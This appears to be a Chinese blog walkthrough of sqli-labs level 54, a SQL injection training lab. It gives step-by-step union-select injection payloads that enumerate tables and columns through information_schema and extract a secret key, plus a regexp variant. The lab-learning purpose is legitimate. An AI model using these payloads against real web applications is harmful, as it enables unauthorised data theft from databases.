zoukankan      html  css  js  c++  java
  • sqli-labs(十七)

    第五十四关:

    这关大概意思就是尝试次数不能多于十次,必须十次之类查询处特点的key。

    第一次:输入单引号报错

    第二次:输入双引号不报错

    说明后台是单引号进行的拼凑

    第三步:这里应该是判断列,用order by来判断。

    这里已知是三行(手动滑稽)

    第四步:?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where  table_schema="challenges" --+

    第五步:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where  table_name="ewdzu507qq" --+

    第六步:?id=0' union select 1,group_concat(secret_6PNC),group_concat(sessid) from challenges.ewdzu507qq --+

     最后:也可以用正则的方法来查询

    ?id=-1' union select 1,group_concat(table_name),group_concat(column_name) from information_schema.columns where column_name regexp "^secret_[A-Z]{4}$" limit 0,1  --+
  • 相关阅读:
    TinyOS功率编程指南
    深度学习入门资料
    通信常识
    CTF入门
    前端开发工具之服务器选择
    Spring
    NoSQL -- MongoDB
    NoSQL -- Redis
    mysql alter table修改表结构添加多个字段的几个写法
    gongle 访问助手安装
  • 原文地址:https://www.cnblogs.com/jinqi520/p/9600686.html
Copyright © 2011-2022 走看看